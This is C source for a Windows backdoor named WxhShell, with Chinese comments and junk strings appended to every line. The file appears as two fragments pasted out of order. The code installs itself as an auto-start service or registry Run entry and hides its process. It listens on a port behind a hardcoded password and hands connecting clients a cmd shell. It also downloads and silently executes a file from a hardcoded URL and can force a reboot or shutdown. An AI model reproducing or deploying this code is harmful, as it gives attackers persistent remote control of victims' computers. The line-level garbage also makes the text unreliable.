    closesocket(wsh); *{/@uO  
    ExitThread(0); z:G}>fk5  
    } sB7" 0M  
    break; o)]FtL:mm  
    } y$oW!  
  // 获取shell i2F(GH?p[  
  case 's': { D\rmaF+  
    CmdShell(wsh); 2cnj@E:5l  
    closesocket(wsh); |4SW[>WT:  
    ExitThread(0); VuWib+fT  
    break; }C~]=Z  
  } fD6GQ*  
  // 退出 e@ oWwhpE  
  case 'x': { .LE+/n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .H;B=nd*  
    CloseIt(wsh); @phN|;?  
    break; pieT'mA  
    } E <@\>y.[  
  // 离开 .hz2&9Ow  
  case 'q': { ! Cb=B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }:#dV B+  
    closesocket(wsh); 0\ f-z6  
    WSACleanup(); o~~9!\  
    exit(1); \graMu}-  
    break;  5H.Db  
        } %x2b0L\g  
  } )/%S=c  
  } 84`rbL!M  
GXeAe}T  
  // 提示信息 HF4Lqh'oco  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s-6:N9-  
} jH0Bo;  
  } 1xC`ZhjcD  
J:};n@<  
  return; ,ep9V ,+|  
} ~I$}#  
=R9*;6?N  
// shell模块句柄 8-A|C< "  
int CmdShell(SOCKET sock) SfDQ;1?  
{ >UN vkQ:  
STARTUPINFO si; oyQ0V94j  
ZeroMemory(&si,sizeof(si)); /.ZaE+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M:|/ijp N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yw^ Gti'<  
PROCESS_INFORMATION ProcessInfo; 3]S`|#J  
char cmdline[]="cmd"; l\aUresm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zPBfiK_hV  
  return 0; Xiju"Cup"  
} gb_X?j%p7  
ADBpX>  
// 自身启动模式 41 'EA \V  
int StartFromService(void) ,9vJtP+T+!  
{ )*HjRTF6G  
typedef struct 3ZN>9`  
{ hho%~^bn(  
  DWORD ExitStatus; jZ#UUnR%  
  DWORD PebBaseAddress; (6-y+ LG  
  DWORD AffinityMask; Lh!z>IWjOG  
  DWORD BasePriority; 'z](xG<  
  ULONG UniqueProcessId; DPeVKyjU  
  ULONG InheritedFromUniqueProcessId; {rfte'4;=  
}   PROCESS_BASIC_INFORMATION; Y-~;E3(  
GC?S];PL  
PROCNTQSIP NtQueryInformationProcess; 85C#ja1&  
5G oK"F0i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -mC:r&Y>[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d#7]hF  
w`Xg%*]}  
  HANDLE             hProcess; ^BNp`x;;`  
  PROCESS_BASIC_INFORMATION pbi; #NM JZ  
m+7`\|`jQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &CO| Y(+  
  if(NULL == hInst ) return 0; }{=8&gA0  
/&QQ p3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x _|>n<Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); id4]|jb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qm}\?_  
5% 'S  
  if (!NtQueryInformationProcess) return 0; V^vLN[8_\  
g z`*|h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z+Z%H#9e  
  if(!hProcess) return 0; #nbn K  
*+W6 P.K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;"SZ}  
`$f2eB&   
  CloseHandle(hProcess); OaNc9c"  
<vLdBfw&N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i :EO(`  
if(hProcess==NULL) return 0; c _p[yS  
o oDdV >  
HMODULE hMod; IadK@?X6j  
char procName[255]; ;YM]K R;  
unsigned long cbNeeded; ex=)H%_|  
1^tSn#j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zM\IKo_"  
)1K! [ W}t  
  CloseHandle(hProcess); mCK],TOA:  
Mb~~A5  
if(strstr(procName,"services")) return 1; // 以服务启动 b_ZNI0Hp@  
Ri[S<GOMii  
  return 0; // 注册表启动 *{Yi}d@h(  
} R @OSqEnr  
,b4~!V  
// 主模块 MyqiBGTb  
int StartWxhshell(LPSTR lpCmdLine) XUf7yD  
{ mDlCt_h  
  SOCKET wsl; W0U`Kt&~a  
BOOL val=TRUE; /t$*W\PL@  
  int port=0; e6o/q)9#  
  struct sockaddr_in door; hi0XVC95  
B#Qpd7E+*  
  if(wscfg.ws_autoins) Install(); (< :mM  
|;~nI'0O])  
port=atoi(lpCmdLine); p!QR3k.9s  
5'62ulwMP=  
if(port<=0) port=wscfg.ws_port; NQg'|Pt(%  
b24di  
  WSADATA data; Fdr*xHx$P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2*Va9HP!q  
f@h2;An$w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TG4^_nRl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gh'kUZG a  
  door.sin_family = AF_INET; xSdN5RN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K_Z+]]$#  
  door.sin_port = htons(port); VZt;P%1;h  
t[/\KG8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,YQ=Zk)w  
closesocket(wsl); $vW^n4!  
return 1; 0c`sb+?  
} fJvr+4i4k  
- *r[  
  if(listen(wsl,2) == INVALID_SOCKET) { (I>HWRH  
closesocket(wsl); prqyoCfq  
return 1; >eEnQ}Y  
} kHGeCJe\{  
  Wxhshell(wsl); 3>H2xh3Y  
  WSACleanup(); Tw}@+-  
j/~VP2R`  
return 0; vNPfUEnA  
?U}sQ;c$  
} vwm|I7/w  
y9=t;qH@|  
// 以NT服务方式启动 8?A@/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o@Scz!"g  
{ )\RzE[Cb  
DWORD   status = 0; ix(U:'{  
  DWORD   specificError = 0xfffffff; cO8`J&EK  
l&\t f`~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3L?WTS6(u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H U:1f)a a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '_k>*trV  
  serviceStatus.dwWin32ExitCode     = 0; ful]OLV+  
  serviceStatus.dwServiceSpecificExitCode = 0; hcd!A 5  
  serviceStatus.dwCheckPoint       = 0; <zfO1~^  
  serviceStatus.dwWaitHint       = 0; =VCi8jDkP  
7E;>E9 '  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dp%5$wF)8  
  if (hServiceStatusHandle==0) return; W]} #\\$z  
+[>y O _}  
status = GetLastError(); jG =(w4+  
  if (status!=NO_ERROR) A J<iM)l|  
{ X77A; US  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @gs26jX~2}  
    serviceStatus.dwCheckPoint       = 0; 37J\i ]  
    serviceStatus.dwWaitHint       = 0; 0Ddn@!J*  
    serviceStatus.dwWin32ExitCode     = status; ww-XMz h  
    serviceStatus.dwServiceSpecificExitCode = specificError; yBr$ 0$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] ,!\IqO  
    return; JJ^iy*v  
  } %j~9O~-  
.@4QkG/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *U( 1iv0n  
  serviceStatus.dwCheckPoint       = 0; We[<BJ o4  
  serviceStatus.dwWaitHint       = 0; xAR^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m]bL)]Z  
} eUX@9eML  
C}x4#bNK  
// 处理NT服务事件,比如:启动、停止 .a ~s_E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2q2p=H>&  
{ ju8',ZC  
switch(fdwControl) #k"1wSx16  
{ 516VQ<?B  
case SERVICE_CONTROL_STOP: \a{Aa  
  serviceStatus.dwWin32ExitCode = 0; B)( p9]q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nwZ[Ygl|  
  serviceStatus.dwCheckPoint   = 0; c2tEz&=G  
  serviceStatus.dwWaitHint     = 0; ~r(g|?}P  
  { _bN))9 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V`WI"HO+  
  } gn-=##fT:i  
  return; (2\li{$e  
case SERVICE_CONTROL_PAUSE: `=_7I?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0L3Bo3:k  
  break; 6^7)GCq [  
case SERVICE_CONTROL_CONTINUE: U'JP1\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y9z:xE  
  break; s98: *o3  
case SERVICE_CONTROL_INTERROGATE: D<+ bzC  
  break; QT7w::ht  
}; sV9{4T~#|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g @c=Bt$  
} jEC'l]l  
TKj/6Jz|  
// 标准应用程序主函数 u i s:\Uc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T=hm#]   
{ 7H8GkuO  
44Seq  
// 获取操作系统版本 Y!K^-Y}  
OsIsNt=GetOsVer(); 9+WY@du+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Y| lO  
34&u]4=L)  
  // 从命令行安装 #o(?g-3  
  if(strpbrk(lpCmdLine,"iI")) Install(); h$#4ebp  
umq$4}T '$  
  // 下载执行文件 B`'}&6jr.  
if(wscfg.ws_downexe) { 17MN8SfQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )W_ Y3M,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,*9#c*'S  
} =RCfibT!C  
; /6:lL  
if(!OsIsNt) { aufcd57  
// 如果时win9x,隐藏进程并且设置为注册表启动 b;&Yw-\nZ;  
HideProc(); bTA14&& q  
StartWxhshell(lpCmdLine); $6 Q2)^LJ  
} 7LyV`6{70  
else ^*$WZMMJ1  
  if(StartFromService()) qiwQUm{  
  // 以服务方式启动 $G^H7|PzdC  
  StartServiceCtrlDispatcher(DispatchTable); \rw'QAi8r  
else cG~_EX$  
  // 普通方式启动 vZ1D3ytfG  
  StartWxhshell(lpCmdLine); s5_1}KKCs  
^^j|0qshL  
return 0; J8`1V `$  
} QrrZF.  
OI;L9\MJc  
g%<{G/Tz  
~@a) E+LsF  
=========================================== W2X+N acD  
Z(Ls#hp  
Px^<2Q%Fs  
Yc|-sEK/  
A61-AwvF8-  
{4V:[*3  
" &L[8Mju6  
-Y!=Iw 4  
#include <stdio.h> $AL|d[[T[  
#include <string.h> @eG#%6">  
#include <windows.h> ^YB\\a9  
#include <winsock2.h> T^f&58{ 7  
#include <winsvc.h> 0X}w[^f  
#include <urlmon.h> !Cv<>_N).  
[8om9 Z3  
#pragma comment (lib, "Ws2_32.lib") BhhK| U/  
#pragma comment (lib, "urlmon.lib") .[eSKtbc)  
CM@"lV_  
#define MAX_USER   100 // 最大客户端连接数 6P/9Vh j'  
#define BUF_SOCK   200 // sock buffer k^vmRe<lk  
#define KEY_BUFF   255 // 输入 buffer OM.(g%2  
,rvZW}=  
#define REBOOT     0   // 重启 S quqaX+<  
#define SHUTDOWN   1   // 关机 Z)Xq!]~/g  
pqNoL* H  
#define DEF_PORT   5000 // 监听端口 Di5Op(S((  
37<GG)  
#define REG_LEN     16   // 注册表键长度 /fcwz5~  
#define SVC_LEN     80   // NT服务名长度 #!F8n`C-  
'KN!m| z  
// 从dll定义API X  f'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M#22Zfxq   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @?($j)9}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Lv6vnT>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }~0{1&  
[;kj,j  
// wxhshell配置信息 iR4,$Nn>  
struct WSCFG { R.n`R|NOd  
  int ws_port;         // 监听端口 mSvTnd8  
  char ws_passstr[REG_LEN]; // 口令 nG(|7x   
  int ws_autoins;       // 安装标记, 1=yes 0=no Xb07 l3UG  
  char ws_regname[REG_LEN]; // 注册表键名 R}=]UOqH-  
  char ws_svcname[REG_LEN]; // 服务名 m<VL19o>R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B+e~k?O]1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xX67bswG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WY ^K7U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BfO}4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :Q%yW%St$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EWvid4QEi  
9DocId.  
}; h?O%XnD  
%%-Tjw o  
// default Wxhshell configuration 9"l%tq_  
struct WSCFG wscfg={DEF_PORT, 9i xnf=$Jp  
    "xuhuanlingzhe", Zq6ebj  
    1, @rDv (W  
    "Wxhshell", 4h2bk\z-  
    "Wxhshell", N'1[t  
            "WxhShell Service", ,'@ISCK^  
    "Wrsky Windows CmdShell Service", '\3.isTsx  
    "Please Input Your Password: ", DW;.R<8  
  1, ;:K?7wfXn  
  "http://www.wrsky.com/wxhshell.exe", ^gVbVz[17  
  "Wxhshell.exe" J5r L7  
    }; ,HjHt\!~<  
/)HEx&SQmZ  
// 消息定义模块 N6 Cc%,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m]b.P,~v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jl|X$w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i =+<7]Q  
char *msg_ws_ext="\n\rExit."; 9= ;g4I  
char *msg_ws_end="\n\rQuit."; 9HBx[2&  
char *msg_ws_boot="\n\rReboot..."; k@X As  
char *msg_ws_poff="\n\rShutdown..."; [O =)FiY-  
char *msg_ws_down="\n\rSave to "; "q#g/T  
yyYbB]D  
char *msg_ws_err="\n\rErr!"; Ffqn|} gb  
char *msg_ws_ok="\n\rOK!"; dYttse'  
6(Rq R  
char ExeFile[MAX_PATH]; n$VPh/  
int nUser = 0; enO=-#  
HANDLE handles[MAX_USER]; 8*X L19N  
int OsIsNt; d(cYtM,P  
)fcpE,g'  
SERVICE_STATUS       serviceStatus; jZgnt{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `[R:L.H1  
UM;bVf?  
// 函数声明 Xv;ZAa  
int Install(void); kA$;vbm  
int Uninstall(void); >w'?DV>u|  
int DownloadFile(char *sURL, SOCKET wsh); xo@/k   
int Boot(int flag); {hp@j#  
void HideProc(void); S+=@d\S}"  
int GetOsVer(void); 'Rf#1ls#  
int Wxhshell(SOCKET wsl); T"jDq1C/,E  
void TalkWithClient(void *cs); oz7udY=]0  
int CmdShell(SOCKET sock); OTbjZ(  
int StartFromService(void); {d5ur@G1  
int StartWxhshell(LPSTR lpCmdLine);  AHg4kG  
xn#I7]]G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -)c"cgx.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l<:)rg^,  
eFI9S.6  
// 数据结构和表定义 oHGf |  
SERVICE_TABLE_ENTRY DispatchTable[] = *v-xC5L1\  
{ E;*TRr><  
{wscfg.ws_svcname, NTServiceMain}, $+yQ48Wq  
{NULL, NULL} 3xR#,22:}  
}; 1 jd=R7  
9U%}"uE  
// 自我安装 BJ;cF"Kp  
int Install(void) |zegnq~  
{ !)1Zp*  
  char svExeFile[MAX_PATH]; >@\?\!Go  
  HKEY key; e(5Px!B  
  strcpy(svExeFile,ExeFile); krT!AfeV  
dtXJ<1:  
// 如果是win9x系统,修改注册表设为自启动 dEl3?~  
if(!OsIsNt) { )HiTYV)]'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nWg)zj:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GeR -k9  
  RegCloseKey(key); 9!<3qx/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3). c [F^l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IOsDVIXL\  
  RegCloseKey(key); t ,Rn  
  return 0; G@6,O-Sj  
    } Wam?(!{mOf  
  } i]Of<eQ"  
} c35vjYQx0  
else { o%s}jBo}  
>Qu^{o  
// 如果是NT以上系统,安装为系统服务 @g` ,'r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JaN_[ou  
if (schSCManager!=0) `9NnL.w!  
{ <OFqUp*l  
  SC_HANDLE schService = CreateService 23?0'AU  
  (  PW\FcT  
  schSCManager, lAt1Mq} ?P  
  wscfg.ws_svcname, Ny<G2! W  
  wscfg.ws_svcdisp, H%jIjf  
  SERVICE_ALL_ACCESS, 4E94W,1%,Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LPgI"6cP  
  SERVICE_AUTO_START, .EELR]`y7I  
  SERVICE_ERROR_NORMAL, M/I d\~  
  svExeFile, |I<-x)joIK  
  NULL, 0p2O8>w^%  
  NULL, 4B,A+{3yL  
  NULL, / =<u l-K  
  NULL, tUnVdh6L.B  
  NULL y.NArN|%  
  ); q.Mck9R7  
  if (schService!=0) @_Oe`j^  
  { u$^` hzfI  
  CloseServiceHandle(schService); jiD8|%}v  
  CloseServiceHandle(schSCManager); a#j^gu$m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xJ.!Q)[  
  strcat(svExeFile,wscfg.ws_svcname); q/G5aO*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TniKH( w/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `cRB!w=KHV  
  RegCloseKey(key); T`G"2|ISS  
  return 0; L-TVe  
    } 'Z9F0l"Nr  
  } I=-;*3g6  
  CloseServiceHandle(schSCManager); 73<yrBxp  
}  `a9>4  
} U Bg_b?k  
*a.*Ha  
return 1; |a\TUzq  
} WHT%m|yn  
nA j2k  
// 自我卸载 tS@/Bq('B  
int Uninstall(void) D'+8]B  
{ >C66X?0cd  
  HKEY key; 1W7BN~p14  
h0pr"]sO;$  
if(!OsIsNt) { S?tLIi/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ku'U^=bVm:  
  RegDeleteValue(key,wscfg.ws_regname); Wuz~$SU  
  RegCloseKey(key); 8hA=$}y&x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hvk?(\x  
  RegDeleteValue(key,wscfg.ws_regname); QyQ8M1m  
  RegCloseKey(key); <us{4 %  
  return 0; p+?WhxG)  
  } xo+z[OIlF  
} %j; cXN  
} G-<~I#k  
else { aC` c^'5  
boon =;{p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PTqS L]  
if (schSCManager!=0) TR20{8"  
{ <ZdNPcT<s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }aIf IJ  
  if (schService!=0) 3I(M<sB}  
  { n-Y'LK40Os  
  if(DeleteService(schService)!=0) { 0&~u0B{  
  CloseServiceHandle(schService); >c eU!=>  
  CloseServiceHandle(schSCManager); -/?<@*n  
  return 0; '_Oprx  
  } bq ]a8tSB  
  CloseServiceHandle(schService); 'h=2_%l@Y  
  } R MXj)~4.  
  CloseServiceHandle(schSCManager); b5R*]  
} Y6a|\K|  
} J_$~OEC~  
S#dS5OX  
return 1; }IL@j A  
} Awh)@iTL  
m ws.)  
// 从指定url下载文件 .|-y+9IP  
int DownloadFile(char *sURL, SOCKET wsh) G.T1rUh=  
{ !HYqM(|{.  
  HRESULT hr; xcA:Q`c.{  
char seps[]= "/"; 4N&}hOM'S  
char *token; 2D"/k'iA  
char *file; O/nS,Ux  
char myURL[MAX_PATH]; nt6"}vO  
char myFILE[MAX_PATH]; @d|9(,Q  
Y}U w7\e  
strcpy(myURL,sURL); x ,W+:l9~s  
  token=strtok(myURL,seps); sn%fE  
  while(token!=NULL) kF .b)  
  { dPId= w)  
    file=token; |zKcL3*  
  token=strtok(NULL,seps); 5$X{{j2  
  } %#~Wk|8} Q  
7&1: ]{_  
GetCurrentDirectory(MAX_PATH,myFILE); EK_^#b  
strcat(myFILE, "\\"); (WvA9s{/  
strcat(myFILE, file); aT#|mk=\  
  send(wsh,myFILE,strlen(myFILE),0); 0 M?}S~p]  
send(wsh,"...",3,0); ><~hOK?v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I5]zOKlVR  
  if(hr==S_OK) w0iE x1i  
return 0; \\JXY*DA:+  
else T~>:8i  
return 1; {'%=tJ[YX  
TF>F7v(,45  
} da@ .J9  
^(R gSMuT`  
// 系统电源模块 |Oe6OCPf  
int Boot(int flag) q-#fuD^  
{ l<+k[@Vox  
  HANDLE hToken; 3Daq5(fLP  
  TOKEN_PRIVILEGES tkp; xmDwoLU  
m`~ Qr~  
  if(OsIsNt) { &0ra a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FmPF7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H'2 =yhtVh  
    tkp.PrivilegeCount = 1; Qs a2iw{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \z 'noc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yr?\YKV)I  
if(flag==REBOOT) { 566EMy|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Er)b( Kk  
  return 0; uvL|T48  
} 0/$sr;  
else { S%2qB;uw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %~~QXH\  
  return 0; "'Ik{wGc  
} EZ4qhda  
  } J7ln6Y  
  else { 7+"X ^$  
if(flag==REBOOT) { U N/.T   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ad`IgZ  
  return 0; -SQYr  
} A:f+x|[  
else { \]K-<&f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zh@\+1]  
  return 0; f+ &yc'[  
} |@RO&F  
} n !QjptQ  
N@}U;x}  
return 1; >:=TS"}yS}  
} 2r,fF<WQ  
`8I&(k<wLe  
// win9x进程隐藏模块 @OpcS>:R  
void HideProc(void) ; OsN^   
{ Hi Yx(hY  
%}/)_RzQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n2E2V<#   
  if ( hKernel != NULL ) hf[K\aAk  
  { S`::f(e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7j+.H/2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t%)L8%Jr  
    FreeLibrary(hKernel); vzL>ZBe Z  
  } kQ +   
]zO]*d=m  
return; Xp' KQ1w)  
} {RK#W~h  
rTH@PDk>)  
// 获取操作系统版本 _R]h]<TQ  
int GetOsVer(void) .#X0P=  
{ <YC{q>EMc  
  OSVERSIONINFO winfo; ]@xc9 tlG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m5S/T\,X  
  GetVersionEx(&winfo); gI]Vyg<{d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~'ovJ46tx  
  return 1; XP'KgTF  
  else ]n+:lsiV  
  return 0; HN:{rAIfc  
} }~7>S5  
$hL0/T-m  
// 客户端句柄模块 m2;%|QE(  
int Wxhshell(SOCKET wsl) <^=k~7m  
{ PSRGlxdO  
  SOCKET wsh; JOMZ&c^  
  struct sockaddr_in client; KksbhN{AB  
  DWORD myID; Z5\6ca  
<C&UD j  
  while(nUser<MAX_USER) nJ,56}  
{ f:TW<  
  int nSize=sizeof(client); v#~,)-D&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' |4XyU=  
  if(wsh==INVALID_SOCKET) return 1; H Q2-20  
VAq:q8(K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RR"#z'zQ  
if(handles[nUser]==0) M?,;TJ7Gd  
  closesocket(wsh); ;,viE~n  
else :A[ Gtc(_  
  nUser++; ( nBsf1l  
  } ^3e l-dZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O&}07(  
As"'KR  
  return 0; +/ #J]v-  
} cJt#8P  
n1H*][CK  
// 关闭 socket lB-Njr  
void CloseIt(SOCKET wsh) })J]D~!p  
{ wtZe\ h  
closesocket(wsh); F*a+&% Q  
nUser--; U*-%V$3+w5  
ExitThread(0); kr3ZqMfeI  
} }Iu6]?|'  
G",+jR]  
// 客户端请求句柄 D,NjDIG8  
void TalkWithClient(void *cs) rP*?a~<  
{ *6uiOtH  
Fr3Q"(  
  SOCKET wsh=(SOCKET)cs; j*CnnM#n  
  char pwd[SVC_LEN]; #oHHKl=M  
  char cmd[KEY_BUFF]; UOa{J|k>h  
char chr[1]; Q} / :  
int i,j; cM55 vVd  
er97&5  
  while (nUser < MAX_USER) { b7\nCRY  
3c6<JW  
if(wscfg.ws_passstr) { 7Q^t(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vZ*5 93C8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -q-%)f  
  //ZeroMemory(pwd,KEY_BUFF); k(T/yd rw  
      i=0; _mcD*V  
  while(i<SVC_LEN) { 9;:Lf  
Orz Dr  
  // 设置超时 r> NgJf,  
  fd_set FdRead; 0n5N-b?G-@  
  struct timeval TimeOut; `AYHCn  
  FD_ZERO(&FdRead); HIF.;ImG^  
  FD_SET(wsh,&FdRead); oqG 0 @@  
  TimeOut.tv_sec=8; <}|+2f233+  
  TimeOut.tv_usec=0; u\6:Txqq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v=|ahsYC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rl!c\  
`DEz ` D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3x eW!~  
  pwd=chr[0]; gPDc6{/C<  
  if(chr[0]==0xd || chr[0]==0xa) { ;0ake%v]  
  pwd=0;  M7hff4c  
  break; 63ht|$G  
  } RsY|V|<  
  i++; `?~pk)<C].  
    } 9HWtdJ+^C=  
'DVPx%p  
  // 如果是非法用户,关闭 socket ~~>D=~B0'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >YD? pDPb/  
} d6wsT\S  
[0  3Aej  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1XwbsKQ}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x#'# ~EO-G  
 /I="+  
while(1) { M,NYF`;a  
ZE4~rq/W  
  ZeroMemory(cmd,KEY_BUFF); EFV'hMjS)  
i :@00)V{,  
      // 自动支持客户端 telnet标准   -(~CZ  
  j=0; K o,O!T.  
  while(j<KEY_BUFF) { X5=Dc+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]5B5J  
  cmd[j]=chr[0]; k|1/gd5  
  if(chr[0]==0xa || chr[0]==0xd) { 1H%LUA  
  cmd[j]=0; 5v8_ji#l[  
  break; |_Z(}% <o  
  } MH1??vW  
  j++; uT ngDk  
    } .#P'NF(5#  
*uNa( yd  
  // 下载文件 S$ dFz  
  if(strstr(cmd,"http://")) { W$  M4#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  #\Lt0  
  if(DownloadFile(cmd,wsh)) 2B5Z0<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m%l\EE  
  else ,{7Z OzA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5^*I]5t8  
  } d XrLeoK  
  else { "\Z.YZUa\  
+wr2TT~  
    switch(cmd[0]) { ;i>|5tEy  
  *JUP~/Nr  
  // 帮助 Ac|IBXGa=  
  case '?': { ?(4 =:o  
